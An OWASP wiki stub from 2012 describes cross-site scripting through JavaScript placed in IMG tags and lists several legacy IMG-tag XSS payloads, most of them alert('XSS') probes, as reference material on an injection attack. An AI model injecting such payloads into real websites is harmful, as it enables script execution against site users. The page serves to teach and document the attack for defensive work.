Script in IMG tags

2012-04-02T16:05:14Z

Paul McCann:

==Description==
It is possible for an attacker to execute Javascript code via the IMG tags. This is also refered to as XSS (Cross Site Scripting). However, this type of attack is no longer possible on modern browsers.

==Examples ==
The following are methods an attacker can use in order to execute Javascript but will not be effective against modern browsers. 

<IMG SRC="javascript:alert('Vulnerable');"> 
<IMG SRC=javascript:alert('XSS')> 
<IMG SRC=JaVaScRiPt:alert('XSS')> 
<IMG SRC=javascript:alert("XSS")> 
<IMG SRC=`javascript:alert("RSnake says, 
'XSS'")`> 
<IMG """><SCRIPT>alert("XSS")</SCRIPT>"> 
<IMG 
SRC=javascript:alert(String.fromCharCode(88,83,83))> 
<IMG SRC=javascript:alert('XSS')> 

==Related Threats==

==Related Attacks==

[[XSS Attacks]]

==Related Vulnerabilities==

==Related Countermeasures==

==Categories==

{{Template:Stub}}

[[Category:Injection Attack]]

OWASP - User contributions [en]

Script in IMG tags